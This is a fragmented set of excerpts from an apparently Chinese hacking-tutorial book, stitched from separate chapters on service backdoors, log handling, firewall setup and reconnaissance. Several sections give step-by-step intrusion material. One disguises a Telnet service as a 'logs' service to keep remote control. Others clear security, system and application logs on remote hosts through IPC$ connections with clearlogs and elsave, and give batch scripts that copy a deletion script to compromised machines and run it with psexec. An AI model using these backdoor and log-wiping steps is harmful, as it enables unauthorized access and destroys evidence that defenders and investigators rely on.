    {"text": "（2）利用SRVINSTW创建系统服务后门 仅仅依靠系统本身工具还不能完全实现系统服务后门的制作，还需要借助于SRVINSTW软件的帮助，SRVINSTW软件是一款可以创建和添加系统服务的图形化工具。 通过SRVINSTW可以添加程序为Windows系统服务，从而实现系统服务后门的制作。 利用SRVINSTW创建系统服务后门的具体操作步骤如下。 步骤1：运行SRVINSTW.exe程序，即可打开【服务类型选择】对话框，在其中选择“安装服务”单选按钮，如图10-22所示。 图 10-22 【服务类型选择】对话框 步骤2：单击【下一步】按钮，即可打开【计算机类型选择】对话框，如图10-23所示。"},
    {"text": "图 10-23 【计算机类型选择】对话框 步骤3：单击【下一步】按钮，即可打开【输入服务名称】对话框，在“服务名称”文本框中输入要添加的服务的名称，如\"logs\"服务，如图10-24所示。 图 10-24 【输入服务名称】对话框 步骤4：单击【下一步】按钮，即可打开【输入程序路径】对话框，在“输入程序路径”文本框中输入程序路径（如Telnet服务对应的路径是C:\\WINDOWS\\system32\\tlntsvr.exe），如图10-25所示。 图 10-25 【输入程序路径】对话框 步骤5：在【服务】窗口中右击服务名称，从快捷菜单中选择“属性”选项，即可打开【属性】对话框，在其中查看该服务调用的程序存放路径。 步骤6：在输入完毕之后，单击【下一步】按钮，即可打开【选择安装种类】对话框，在其中选择“软件服务”单选项，如图10-26所示。 单击【下一步】按钮，即可打开【设置服务运行权限】对话框，在其中选择“系统项目”单选项，如图10-27所示。 图 10-26 【选择安装种类】对话框 图 10-27 【设置服务运行权限】对话框 步骤7：单击【下一步】按钮，即可打开【选择服务启动类型】对话框，在其中根据实际需要选择相应类型（这里选择“自动”单选项），如图10-28所示。 图 10-28 【选择服务启动类型】对话框 步骤8：单击【下一步】按钮，即可打开【准备好安装服务】对话框，如图10-29所示。 单击【完成】按钮，即可看到【服务成功安装】提示框，如图10-30所示。 单击【确定】按钮，即可彻底完成\"logs\"服务添加安装操作。 图 10-29 【准备好安装服务】对话框 图 10-30 【成功安装】提示框 步骤9：此时在【服务】窗口的“服务”列表中可找到刚创建的Logs服务，如图10-31所示。"},
    {"text": "尽管此时\"Telnet\"服务的服务状态仍为“已停止”，启动类型仍为“已禁用”，但攻击者已将一个安全的服务logs替换成了Telnet服务，从而实现其远程控制该主机的功能，即所谓的完全后门。"},
    {"text": "因此，如果想更加安全地实施后门技术，还需用SC.exe工具添加服务的描述内容，该工具通常被保存在C:\\WINDOWS\\system32目录下，如图10-32所示。 图 10-32 SC位置 步骤11：将SC.exe文件复制到C盘根目录下下，并在【命令提示符】窗口中运行“sc description logs系统日志”命令，即可为该服务添加描述内容，如图10-33所示。 图 10-33 修改服务器设置 提示 SC.exe是Windows XP系统自带的一个工具，SC.exe是一款远程服务管理工具，也属于命令行工具，可在本地计算机对远程目标主机上的服务进行查询、启动、停止和删除等操作。"},
    {"text": "步骤1：若黑客已通过图形界面控制对方计算机，在该计算机上运行SRVINSTW.exe程序，即可打开【选择操作类型】对话框，在其中选择“移除服务”单选项，如图10-35所示。"},
    {"text": "图 10-35 【选择操作类型】对话框 步骤2：单击【下一步】按钮，即可打开【计算机类型选择】对话框，在“请选择要执行的计算机类型”栏目中选择“本地机器”单选项，如图10-36所示。"},
    {"text": "图 10-36 【计算机类型选择】对话框 提示 如果没有控制目标计算机，但已和对方建立具有管理员权限的IPC$连接，则应在【计算机类型选择】对话框中选择“远程机器”单选项，在“计算机名”文本框中输入远程计算机的IP地址，单击【下一步】按钮，同样可将该远程主机中的\"logs\"服务删除。 步骤3：单击【下一步】按钮，即可打开【服务名选择】对话框，在“服务名”下拉列表中选择\"logs\"服务选项，如图10-37所示。 图 10-37 【服务名选择】对话框 步骤4：单击【下一步】按钮，即可打开【准备好移除服务】对话框，如图10-38所示。 图 10-38 【准备好移除服务】对话框 步骤5：如果确定要删除该服务，单击【完成】按钮，即可看到【服务成功移除】提示框，如图10-39所示。 单击【确定】按钮，即可将远程主机中的\"logs\"服务删除。"},
    {"text": "未知 第92招 日志分析器WebTrends 日志每天为用户忠实地记录了服务器的一举一动，作为一个合格的网络安全管理人员，每天都需要面对着大量的日志分析任务，为了减轻手工查找日志的工作量，用户不妨使用一款专用的日志分析软件来完成这项工作，这就是WebTrends软件。 1.创建日志站点 WebTrends是一款非常好的日志分析软件，它可以很方便地生成日报、周报和月报等，并有多种图表生成方式，如柱状图、曲线图、饼图等，可以查到浏览者的来访地、停留时间、浏览器类型，以及他们对网站的哪些内容最为感兴趣等。 当远程用户访问用户的服务器时，WebTrends就可以对其进行访问监控并给以记录，管理员可以通过远程连接方式来访问日志。"},
    {"text": "在使用之前先安装WebTrends软件，具体的操作步骤如下。 步骤1：下载并双击\"WebTrends\"安装程序图标，即可打开【License Agreement（安装许可协议）】对话框，如图10-40所示。 图 10-40 【License Agreement（安装许可协议）】对话框 步骤2：在认真阅读安装许可协议后，单击【Accept】按钮，即可进入【Welcome!】对话框，如图10-41所示。"},
    {"text": "在\"Please select from the following options\"单选项中勾选\"Install a time limited trial\"复选项，单击【Next】按钮，即可打开【Select Destination Directory】对话框，在其中选择目标程序安装位置，如图10-42所示。"},
    {"text": "（欢迎安装向导）】对话框 图 10-42 【Select Destination Directory】对话框 步骤3：单击【Next】按钮，即可打开【Ready to Install】对话框，在其中可看到安装复制的信息，如图10-43所示。 单击【Next】按钮，即可打开【Installing】对话框，在其中看到安装的状态并显示安装进度条，如图10-44所示。 图 10-43 【Ready to Install（准备安装）】对话框 图 10-44 【Installing（正在安装）】对话框 步骤4：在安装完成后，即可打开【Install Completed!】对话框，单击其中的【Finish】按钮完成整个安装过程，如图10-45所示。"},
    {"text": "步骤1：双击桌面上的\"WebTrends\"应用程序图标，即可打开\"WebTrends Product Licensing\"主窗口，在\"SubScription\"文本框中输入产品的注册码，如图10-46所示。"},
    {"text": "（安装完成）】对话框 图 10-46 \"WebTrends Product Licensing\"主窗口 步骤2：当注册码输入正确无误后，单击【Submit】按钮，即可打开\"Professor WebTrends\"主界面，在其中根据需要进行相应选择，如图10-47所示。 图 10-47 \"Professor WebTrends\"主界面 步骤3：单击【Start Using the Product】按钮，即可进入\"Registration\"页面，在其中可以选择\"Register Now\"或\"Register Later\"等方式，如图10-48所示。 图 10-48 \"Registration\"页面 步骤4：单击【Register Later】按钮，即可打开\"WebTrends Log Analyzer\"主窗口，如图10-49所示。 图 10-49 \"WebTrends Log Analyzer\"主窗口 步骤5：在\"WebTrends Log Analyzer\"主窗口中单击 按钮，即可打开【Add Web Traffic Profile—Title, URL】对话框，在其中将开始一个新的站点设置。"},
    {"text": "在\"Log File Format\"选项中可看出WebTrends支持日志格式是呈多样化的，为了操作地灵活性，建议选择\"Auto-detect log file type\"选项，如图10-50所示。"},
    {"text": "图 10-50 【Add Web Traffic Profile—Title, URL】对话框 步骤6：单击【下一步】按钮，即可打开【Add Web Traffic Profile—DNS Lookup】对话框，在其中设置日志的附加选项，其中包括：设置站点的日志IP采用查询DNS的方式（只需选择默认方式），如图10-51所示。 图 10-51 【Add Web Traffic Profile—DNS Lookup】对话框 步骤7：单击【下一步】按钮，即可打开【Add Web Traffic Profile—Home Page】对话框，在其中设置站点的首页文件名称和站点的URL地址，如图10-52所示。 图 10-52 【Add Web Traffic Profile—Home Page】对话框 步骤8：单击【下一步】按钮，即可打开【Add Web Traffic Profile—Filters】对话框，在其中设置WebTrends对站点的什么类型的文件做日志，默认是所有文件类型，如图10-53所示。 单击【下一步】按钮，即可打开【Add Web Traffic Profile—Database and Real-Time】对话框，在其中选择日志生成方式（如选择快速数据库日志生成的性质），如图10-54所示。 图 10-53 【Add Web Traffic Profile—Filters】对话框 图 10-54 【Database and Real-Time】对话框 步骤9：单击【下一步】按钮，即可打开【Add Web Traffic Profile—Advanced FastTrends】对话框，在其中设置FastTrends日志生成方式，如图10-55所示。 单击【完成】按钮，即可站点日志访问管理，等待一定的访问量后对指定网站进行日志分析，如图10-56所示。 图 10-55 【Advanced FastTrends】对话框 图 10-56 查看新创建的日志站点 2.生成日志报表 在站点有了一定访问量后，单击主窗口工具栏上的 按钮，即可打开【Create Report(Web)】对话框，在其中查看生成的报表，并从表中看到WebTrends提供了很多日志地产生时间点来供选择，在这里可以选择前两个星期的日志，如图10-57所示。 图 10-57 【Create Report（Web）】对话框 当然，也可以根据需要设置报表的风格、标题和名字以及对日志的哪个部分感兴趣（如访问者的IP、访问时间、访问内容、总共访问人数等）信息。 在全部设置完毕后，单击【Start】按钮，即可对日志进行分析，如图10-58所示。 待分析完毕之后，即可看到以HTML形式的报告，在其中可以看到该站点的各种日志信息，如图10-59所示。 图 10-58 对选择的日志站点进行分析 图 10-59 生成的报告"},
    {"text": "未知 第93招 IIS日志清理工具 一般的Web服务器都配置有站点访问日志记录，且大多数在采用商业软件来分析日志文件数据，数据分析周期（每周或每天）进行，但很少有企业在真正基于分析工具得出的结论基础上进行站点改进。Web日志文件事实上是一些分离的“碎片”，日志分析软件的功能就是将这些碎片集合起来，从中剖析出有用信息，提高网站访问效率，进而为商务决策提供支撑服务。CleanIISLog是一款可以不留痕迹地清除具体IP连接记录的日志处理工具，CleanIISLog只能在本地运行，而且必须具有Administrators权限。 用法：cleaniislog[logfile][.][cleanIP]. logfile表示清除的日志文件； []中的“.”代表所有清除的日志中那个IP地址记录； 最后面的“.”代表所有IP记录。 使用clearlogs工具删除事件日志的具体操作步骤如下。 步骤1：在【命令提示符】窗口中输入\"net use\\\\192.168.0.10\\ipc$\"037971\"/Aministrator\"命令与远程主机建立IPC$连接。 步骤2：在本地【命令提示符】窗口中输入\"clearlogs\\\\192.168.0.10-app\"命令，即可清除远程计算机的应用程序日志，如图10-60所示。在其中输入\"clearlogs\\\\192.168.0.10-sec\"命令，即可清除远程计算机的安全日志，如图10-61所示。 图 10-60 清除远程计算机的应用程序日志 图 10-61 清除远程计算机的应用程序日志 步骤3：如果想清除远程计算机的系统日志，则可在【命令提示符】窗口中输入\"clearlogs\\\\192.168.0.10-sys\"，如图10-62所示。 图 10-62 清除远程计算机的安全日志 步骤4：通过上述操作，黑客可成功地删除注定主机/服务器中的事件日志。为简化命令的输入过程，可以建立一个批处理文件clear.bat。 @echo off clearlogs-app clearlogs-sec clearlogs-sys del clearlogs.exe del c.bat exit 步骤5：将该bat文件保存为clear.bat，并与工具clearlogs.exe存放在同一个文件夹中。在【命令提示符】窗口中输入\"clear.bat 192.168.0.10 administrator 037971\"命令，即可将该远程主机上的事件日志全部清除，如图10-63所示。 图 10-63 删除远程主机的全部日志 步骤6：使用\"net use\\\\192.168.0.10\\ipc$/del\"命令来断开IPC$连接。 经过上述操作之后，远程主机中的日志记录就可以被清除了。"},
    {"text": "访问日志是Apache的标准日志，本小节将为大家详细解释访问日志的内容以及Apache工具的使用技巧。 1.Apache简介 Apache提供了广泛记录运行时各方面信息的工具，比如有条件性的记录日志循环和确定IP地址等时普遍会遇到的问题；"},
    {"text": "（1）默认的Apache日志文件 Apache提供很多检测和日志工具来追踪服务器的正确运行。 默认的Apache配置提供两个日志文件，放置在安装目录下的日志目录里面。"},
    {"text": "Access_log文件（在Windows下对应Access.log文件）包含了服务器已处理过的请求信息，如请求的URL，客户端的IP地址，请求是否被成功完成等。 Error_log文件（在Windows下对应Error.log文件）包含与错误情况相关的信息，以及服务器生命周期中不同的大事件。"},
    {"text": "具体内容如下： LogFormat\"%h%l%u%t\\\"%r\\\"%＞s%b\"common LogFormat\"%h%l%u%t\\\"%r\\\"%＞s%b\"\\\"%{Referer}i\\\"\\\"%{User-agent}i\\\"\"combined 下面的例子显示了两种最受欢迎的格式配置，其分别为：普通日志格式和整合日志格式。"},
    {"text": "如果用户正在使用普通日志格式，则日志文件中每一项输入看起来都是这样的： 192.168.0.45-someuser[12/May/2009:08:33:34+0500]\"GET/example.png HTTP/1.0\"200 1234 如果用户正在使用整合日志格式，日志文件中每一项输入看起来则都是这样的： 192.168.0.45-someuser[12/May/2009:08:33:34+0500]\"GET/example.png HTTP/1.0\"200 1234 http://www.example.com/index.html\"Mozilla/5.0 (Windows;U;Windows NT 5.1;en-US;rv:1.7.7)\" 尽管有附件提供日志格式的详尽索引，但还不够，下面介绍一些最为重要的域： #%h：客户端（例如，浏览器）向服务器发出连接请求时自己当时的IP地址或域名（需开启HostNameLookups）；"},
    {"text": "定义为： #%{Referer}i：连接请求数据包包头，包含指向当前页面的文档关联信息； #%{User-agent}i：用户代理连接请求数据包包头，包含客户浏览器的信息。"},
    {"text": "具体的内容如下： \"SetEnvIf Request_URI\"(\\.gif|\\.jpg)$\"image CustomLog logs/access_log common env=！ image SetEnvIf Remote_Addr 192\\.168\\.200\\.5 specialmachine CustomLog logs/special_access_log common env=specialmachine\"。"},
    {"text": "#cat/dev/null＞access_log：用于清除包含了服务器已经处理过地请求的日志文件； #cat/dev/null＞error_log：用于清除包含了与错误情况相关的日志文件； #cat/dev/null＞mod_jk. log：用于清除包括了与配置文件相关的日志文件。"},
    {"text": "未知 第95招 巧妙清除日志文件 日志文件记录了用户在系统中进行地所有操作，如系统中出现的错误、安全等问题，这样日积月累下来，逐渐加重了服务器的负荷。"},
    {"text": "1.利用elsave清除日志 elsave是一款由小榕制作的清除日志工具，使用工具不仅可以清除本地计算机的日志，还可以远程删除“事件查看器”中的相关的日志。"},
    {"text": "步骤1：在本地【命令提示符】窗口中输入\"net use\\\\192.168.0.7\\ipc$/user:administrator\"命令会出现“输入密码”提示信息，如图10-64所示。 在其中输入远程主机的密码后，即可与远程主机/服务器进行连接用IPC$连接。 图 10-64 与远程主机建立IPC$连接 步骤2：在本地【命令提示符】窗口中输入\"elsave-s\\\\192.168.0.7-l application-C\"命令，即可删除远程计算机中的应用程序日志，如图10-65所示。 图 10-65 删除远程主机中应用程序日志 步骤3：如果想删除该远程主机中的系统日志，则在【命令提示符】窗口中输入命令\"elsave-s\\\\192.168.0.7-l system-C\"，即可将其删除，如图10-66所示。 图 10-66 删除系统日志 步骤4：在【命令提示符】窗口中输入\"elsave-s\\\\192.168.0.7-l security-C\"命令，即可清除远程主机的安全日志，如图10-67所示。"},
    {"text": "步骤6：另外，也可以编写一个批处理文件clear.bat，具体的内容如下： net use\\\\%1\\ipc$%3/user:%2 elsave-s\\\\%1-l\"application\"-C elsave-s\\\\%1-l\"system\"-C elsave-s\\\\%1-l\"securtity\"-C net use\\\\%1\\ipc$/del 步骤7：把该文件存储到和Elsave.exe文件相同的文件夹下，在【命令提示符】窗口中运行\"Clear.bat 192.168.0.7 Adminstrator\"037971\"\"命令，即可清除远程计算机的日志记录。"},
    {"text": "2.清除服务器日志 日志是用来分析系统中出现的故障和安全等问题必备的工具，但是随着日志的增多，会让服务器的负荷变重。 所以要及时删除服务器的日志，删除服务器日志常用方法有手工删除和通过批处理文件删除两种方式。 （1）手工删除服务器日志 在入侵过程中，远程主机的Windows系统会对入侵者的登录、注销、连接，甚至复制文件等操作都进行记录，并把这些记录保存到日志文件中。"},
    {"text": "入侵者可以通过多种途径来擦除入侵留下的痕迹，其中手段之一就是对服务器日志进行手工清除。 这里以删除IIS日志介绍手工删除日志的方法，具体的操作步骤如下。 步骤1：由于IIS日志一般都保存在\"C:\\Windows\\system32\\LogFiles\\W3SVC1\"目录下。"},
    {"text": "图 10-68 打开IIS日志所在的文件夹 步骤2：右击要删除的日志文件并按下del键，即可看到【删除文件或文件夹时出错】提示框，如图10-69所示。 要删除IIS中的WWW和FTP日志必须先关闭相应的服务才可以进行。 图 10-69 【删除文件或文件夹时出错】对话框 步骤3：出现这种情况是因为相应的服务还在运行，此时在【Internet信息服务】窗口中可以看到网站正在运行，如图10-70所示。 图 10-70 【Internet信息服务】窗口 步骤4：右击“默认网站”图标，在弹出的快捷菜单中选择“停止”选项，即可将其停止，如图10-71所示。 如果想彻底删除日志文件，则可在【服务】窗口的“服务”列表中右击\"Event Log\"服务，在快捷菜单中选择“属性”选项，即可打开【Event Log的属性（本地计算机）】对话框，如图10-72所示。 图 10-71 停止Internet信息服务 图 10-72 【Event Log的属性（本地计算机）】对话框 步骤5：在“启动类型”下拉列表中选择“已禁用”选项之后，单击【确定】按钮，重新启动计算机后即可禁用该服务，如图10-73所示。 图 10-73 禁用\"Event Log\"服务 （2）使用批处理清除远程主机日志 为减小入侵过程中被抓住地可能，入侵者在离开主机之前要删除这些日志文件。"},
    {"text": "步骤1：在记事本中编写一个可以清除日志的批处理文件，其实现代码如下： @del C:\\Windows\\system32\\logfiles\\*.* @del C:\\Windows\\system32\\config\\*.evt @del C:\\Windows\\system32\\dtclog\\*.* @del C:\\Windows\\system32\\*.log @del C:\\Windows\\system32\\*.txt @del C:\\Windows\\*.txt @del C:\\Windows t\\*.log @del c:\\del.bat 步骤2：把上述内容保存为del.bat备用； 再新建一个批处理文件并将其保存为clear.bat文件，其实现代码如下： @copy del.bat\\\\1\\c$ @echo向肉鸡复制本机的del.bat……OK @psexec\\\\1 c:\\del.bat @echo在肉鸡上运行del.bat,清除日志文件……OK 在上述代码中echo是DOS下的回显命令，在它的前面加上“@”前缀字符，表示执行时本行在命令行或DOS里面不显示，它是删除文件命令。 步骤3：假设已经与肉鸡进行了IPC$连接之后，在【命令提示符】窗口中输入\"clear.bat 192.168.0.10\"命令，即可清除该主机上的日志文件。"},
    {"text": "未知 第11章 安全分析与入侵检测 重点提示 ♂妙用天网防火墙 ♂建立系统漏洞防御体系 ♂单机版极品安全卫士CATHER ♂用WAS检测网站承受压力 ♂专业入侵检测系统BlackICE ♂免费的专定防火墙Zone Alarm ♂萨客嘶入侵检测系统 ♂用无处藏身检测恶意IP 本章精粹： 本章主要介绍了安全分析与入侵检测的实战方法。防火墙是经常使用的一种防护工具，配置好防火墙，就可以阻止大量的入侵；而入侵检测技术可以弥补防火墙的不足，为网络安全提供实时的入侵检测以及采取相应防护手段。 每个计算机用户都希望自己的计算机系统时刻保持在最佳状态安全运行，在实际工作和生活中，又总是避免不了出现许多问题，针对这些问题，最好地解决办法就是学会进行系统的安全分析与服务器的入侵检测技术。"},
    {"text": "未知 第96招 妙用天网防火墙 天网防火墙提供了强大的访问控制、应用选通、信息过滤等功能，可有效地抵挡网络入侵和攻击，防止信息泄露，保障用户机器的网络安全。"},
    {"text": "1.天网安全设置 在进行天网安全设置之前，首先要安装天网防火墙，其具体的安装步骤如下。 步骤1：双击天网防火墙的安装文件，即可打开【安装向导】对话框，在其中勾选“我接受此协议”复选框，如图11-1所示。 图 11-1 【安装向导】对话框 步骤2：单击【下一步】按钮，即可打开【选择安装的目标文件夹】对话框，单击【浏览】按钮，在其中选择天网防火墙的安装文件路径，如图11-2所示。"},
    {"text": "图 11-3 【选择程序管理器程序组】对话框 步骤4：单击【下一步】按钮，即可打开【开始安装】对话框，为安装天网防火墙作好准备，如图11-4所示。"},
    {"text": "在确定设置正确无误后，单击【下一步】按钮，即可打开【正在安装】对话框，开始复制安装文件，如图11-5所示。 图 11-4 【开始安装】对话框 图 11-5 【正在安装】对话框 步骤5：在安装文件复制完成之后，单击【下一步】按钮，即可打开【天网防火墙设置向导】对话框，如图11-6所示。 单击【下一步】按钮，即可打开【安全级别设置】对话框，如图11-7所示。"},
    {"text": "图 11-6 【天网防火墙设置向导】对话框 图 11-7 【安全级别设置】对话框 步骤6：单击【下一步】按钮，即可打开【局域网信息设置】对话框，如图11-8所示。 在其中对局域网信息进行设置，一般使用系统默认设置。 图 11-8 【局域网信息设置】对话框 步骤7：单击【下一步】按钮，即可打开【常用应用程序设置】对话框，如图11-9所示。"},
    {"text": "当设置完成之后，单击【下一步】按钮，即可打开【向导设置完成】对话框，如图11-10所示。 图 11-9 【常用应用程序设置】对话框 图 11-10 【向导设置完成】对话框 步骤8：单击【结束】按钮，即可弹出【安装已完成】对话框，如图11-11所示。"},
    {"text": "单击【完成】按钮，即可弹出“安装”提示框，系统将会提示用户需要重新启动系统，在系统重新启动之后，天网防火墙的安装就全部完成，如图11-12所示。 图 11-11 【安装已完成】对话框 图 11-12 “安装”提示框 在完成天网防火墙的安装之后，如果想完全发挥出天网防火墙的威力，其安全设置也是非常重要的，进行安全设置的具体操作步骤如下。 步骤1：在安装好天网防火墙之后，即可打开【天网防火墙个人版】窗口，如图11-13所示。 单击天网防火墙主窗口上方的 按钮，即可打开【应用程序规则（ ）】对话框，在其中设置允许、提示和禁止三种方式，判断是否允许程序访问网络资源，如图11-14所示。 图 11-13 天网个人防火墙 图 11-14 【应用程序规则】对话框 提示 各应用程序项中的“√”表示该程序可以使用的网络资源； “?”表示当该程序使用网络资源时将弹出信息提示对话框； “×”表示该程序不能使用网络资源。"},
    {"text": "步骤2：随便选择其中的一个程序之后，单击【删除】按钮，即可打开【天网防火墙提示信息】对话框，如图11-15所示。 图 11-15 天网防火墙提示信息 步骤3：在应用程序列表中选择一项并单击【选项】按钮，即可打开【应用程序规则高级设置】对话框，如图11-16所示。"},
    {"text": "图 11-16 【应用程序规则高级设置】对话框 步骤4：如果选取“端口范围”单选按钮，则会打开【应用程序规则高级设置】对话框，在其中设定该程序访问网络的端口范围（内容表示Windows Live Writer程序只能使用0～1024之间的端口），如图11-17所示。 图 11-17 【端口范围】对话框 步骤5：选择“端口列表”单选项之后，即可限定程序具体使用了哪些端口，在右侧列表框处列出了该程序可使用的端口，如图11-18所示。 图 11-18 【端口列表】对话框 步骤6：在天网防火墙主窗口中单击 按钮，即可打开【自定义IP规则】对话框。 勾选其中的任一复选项（如“禁止所有人连接”复选项），即可在列表框中出现对该规则地描述，如图11-19所示。 图 11-19 【自定义IP规则】对话框 步骤7：在天网防火墙的主窗口中单击 按钮，即可打开【系统设置】对话框，如图11-20所示。 勾选“启动”选项中的“开机后自动启动防火墙”复选框，则每次启动计算机时都将自动运行天网防火墙。 单击【重置】按钮，即可打开【天网防火墙提示信息】对话框，如图11-21所示。 图 11-20 【系统设置】对话框 图 11-21 【天网防火墙提示信息】对话框 步骤8：单击【确定】按钮，即可删除所有后来加入的新规则，而所有被修改过的规则都将变成初始的默认设置。 单击【向导】按钮，即可打开【天网防火墙个人版设置向导】对话框（此设置与安装天网防火墙的步骤相同）。"},
    {"text": "步骤9：如果勾选“应用程序权限”选项区中的“允许所用应用程序访问网络，并在规则中记录这些程序”复选框，将自动允许所有程序访问网络资源。"},
    {"text": "在完成设置之后单击【确定】按钮，即可完成对天网防火墙的系统设置。 2.木马防范 在全面了解“天网防火墙”设置之后，下面讲述一下其防范“木马”的主要方法。"},
    {"text": "方法1：在“天网防火墙”运行时木马服务器程序要打开网络端口，则可弹出【天网防火墙警告信息】对话框，就可以很容易地检测到自己运行的程序是否被绑定了木马。 方法2：单击【天网防火墙警告信息】对话框中的【禁止】按钮，即可防止某程序使用网络资源。"},
    {"text": "步骤1：新建一条IP规则并在“名称”处输入“禁止冰河木马的侵入”之后，再在“说明”处输入“记录冰河木马入侵，方法是记录7626端口的访问情况，在发现有冰河木马入侵的时候，同时发声”。"},
    {"text": "在“数据包方向”中选择“接收”选项，再在“对方IP地址”中选择“任何地址”选项，如图11-22所示。 图 11-22 设置数据包方向和对方IP地址 步骤2：单击\"TCP\"选项卡，在“本地端口”中设定端口为从7626到7626，如图11-23所示。 单击\"UDP\"选项卡，在“本地端口”中设定端口为从7626到7626，如图11-24所示。"},
    {"text": "图 11-23 TCP选项卡 图 11-24 UDP选项卡 步骤3：当在“当满足上面条件时”的下拉列表框中选择“通行”选项之后，再在“同时还”选项区中勾选“记录”、“发声”复选框，如图11-25所示。"},
    {"text": "图 11-25 设置动作 图 11-26 出现记录冰河入侵 经过上述设置之后，只要有其他计算机想通过冰河客户端程序控制本地计算机，本地计算机就会出现“！"},
    {"text": "未知 第8招 踩点与侦察范围 黑客在攻击其他计算机之前，先要对攻击目标进行扫描，查找出计算机系统的弱点与漏洞，从而根据相应的弱点与漏洞采取适当的攻击方法与策略。"},
    {"text": "1.实施踩点的具体流程 黑客在进行攻击之前要先探测到对方计算机的存在，使用软件探测出计算机安全等情况，再在使用Tracert命令侦察对方的网络情况。"},
    {"text": "（1）探测到对方存在 确定对方主机存在最简单的方法就是使用ping命令，如在命令提示符窗口中输入\"ping 192.168.0.12\"，如图1-213所示。 从运行结果来看，如果ping通了，就会从该IP地址返回byte、time和TTL的值，表示这台计算机一定在网络中，这样黑客就具备入侵的目标了。"},
    {"text": "如果ping不通，则会返回\"Request time out\"提示，表示对方的计算机不在网络上或对方计算机存在，或设置了ICMP数据包过滤，如图1-214所示。 图 1-213 用ping命令显示目标主机的IP地址 图 1-214 ping不通IP地址 另外，还可以使用SuperScan扫描软件，可以快速检测出目标主机是否存在以及其开放的端口和操作系统类型等。"},
    {"text": "图 1-215 【SuperScan】主窗口 在扫描完毕之后，单击【查看HTML报告】按钮，即可打开HTML格式的扫描报告，从中可以看到被扫描到的主机详细信息，如图1-216所示。 图 1-216 SuperScan扫描结果 （2）查询对方安全情况 在黑客已经确定目标主机的IP地址是否存在以及操作系统之后，还需要继续查看目标主机的安全状态，从而确定哪些漏洞可以利用。"},
    {"text": "步骤1：下载安装GFI LANGuard N.S.S之后，即可打开【GFI LANGuard N.S.S】主窗口，在\"Scam Target\"文本框中输入要扫描的IP地址，在\"Profile\"文本框中选择\"FullScan\"选项，如图1-217所示。 图 1-217 【GFI LANGuard N.S.S】主窗口 步骤2：单击【Scan】按钮，即可开始进行扫描，等扫描结束后将会出现【Scan completed successfully！"},
    {"text": "图 1-218 【Scan completed successfully】提示框 步骤3：单击【OK】按钮，即可看到扫描结果，其中包括目标主机的基本信息，开放的端口以及开启的服务等信息，如图1-219所示。 图 1-219 扫描结果 步骤4：如果想查看扫描出的信息，则单击扫描结果中相应的选项，如选择\"Open TCP Ports\"选项，即可看到扫描的TCP端口，如图1-220所示。"},
    {"text": "图 1-220 查看开放的TCP端口 （3）查询WHOIS WHOIS是一个用来查询已被注册域名详细信息的数据库（如域名所有人、域名注册商、域名注册日期和过期日期等）。 通过WHOIS来实现对域名注册信息查询（WHOIS Database）。"},
    {"text": "1）中国互联网信息中心网页上查询。 中国互联网信息中心是非常权威的机构，其中记录着所有以.cn为结尾的域名注册信息，其查询页面如图1-221所示。"},
    {"text": "在其中的“查询”文本框中输入要查询的中文域名，并选择“中文域名”单选按钮之后，单击【查看】按钮，即可打开【输入验证码】窗口，如图1-222所示。 图 1-221 中国互联网信息中心的查询页面 图 1-222 输入验证码窗口 在输入验证码后单击【查看】按钮，即可看到要查询域名的详细信息，如图1-223所示。 图 1-223 查看域名的信息 2）中国万网。 中国万网是中国最大的域名和网站托管服务提供商，它提供.cn的域名注册信息，而且还可以查询.com等域名信息，如图1-224所示即为中国万网首页。 在“域名”文本框中输入要查询的域名后，单击【查询】按钮，即可看到相关域名信息，如图1-225所示。 图 1-224 中国万网首页 图 1-225 查询的域名信息 3）利用NetAlyzer软件进行查询。"},
    {"text": "单击查询域名按钮【Query domain……】，即可打开【Whois】对话框，如图1-227所示。 在\"Please enter domain name\"文本框中输入要查询的域名，单击【OK】按钮，即可看到扫描结果，从扫描结果中可查看域名的详细信息，如图1-228所示。 图 1-226 【NetAlyzer】主窗口 图 1-227 【Whois】对话框 图 1-228 要查询域名的详细信息 （4）查询DNS DNS（Domain Name System，域名系统）通过用户友好的名称查找计算机和服务。"},
    {"text": "主要用来查询域名对方的IP地址，也即查询DNS的记录，通过该记录黑客可以查询该域名的主机所存放的服务器。 其命令格式为：nslookup域名，如要查看www.baidu.com对应的IP信息，可在【命令提示符】窗口中输入\"nslookup www.baidu.com\"命令，如图1-229所示。"},
    {"text": "图 1-229 使用nslookup命令行方式查询DNS 2）交互式方式。 可以使用nslookup的交互模式对域名进行查询，具体的操作步骤如下。 步骤1：在【命令提示符】窗口中，输入\"nslookup\"命令，即可查询域名信息，其显示结果如图1-230所示。"},
    {"text": "图 1-231 输入\"set type\"命令 步骤3：再在其中输入要查看的网址（去掉www），如\"baidu.com\"命令，即可看到百度网站的相关信息，如图1-232所示。"},
    {"text": "图 1-232 查询DNS的MX关联记录 （5）网络侦察 要想对目标主机实施攻击，还需要了解目标主机的网络机构，只有弄清楚目标网络中防火墙、服务器地址之后，才可进行第一步入侵。"},
    {"text": "可以使用tracert命令查看目标主机的网络结构。 tracert命令用来显示数据包到达目标主机所经过的路径并显示到达每个结点的时间。 tracert命令功能同ping类似，但所获得的信息要比ping命令详细得多，它把数据包所走的全部路径、结点的IP以及花费的时间都显示出来。"},
    {"text": "要想了解自己计算机与目标主机www.bai du.com之间的详细路径传递信息，就可以在“命令提示符”窗口中输入\"tracert www.baidu.com\"命令进行查看，如图1-233所示。"},
    {"text": "图 1-233 使用tracert命令查看网络结构 2.网络侦察与快速确定漏洞范围 为尽快确定目标主机漏洞的大致范围，黑客往往采用综合扫描器对某个IP段中的主机进行扫描，还可快速确定漏洞的大体范围，包括端口扫描、弱口令扫描、系统漏洞扫描以及主机服务器扫描等。"},
    {"text": "步骤1：双击X-Scan_gui主应用程序，即可打开并运行X-Scan主窗口，在其中可以浏览此软件的功能简介和常见问题解答等信息，如图1-234所示。 图 1-234 【X-Scan】主窗口 步骤2：单击工具栏上的“扫描参数”按钮 ，即可打开【扫描参数】对话框。"},
    {"text": "步骤3：选择扫描模块。 展开“全局设置”选项之后，选取其中的“扫描模块”选项，则可选择扫描过程中需要扫描的模块。 在选择扫描模块时，还可在其右侧窗格中查看该模块的相关说明，如图1-235所示。 图 1-235 选择扫描模块 步骤4：选择“检测范围”选项，即可设置扫描IP地址的范围。 在“指定IP范围”文本框中可输入需要扫描的IP地址或IP地址段，如图1-236所示。"},
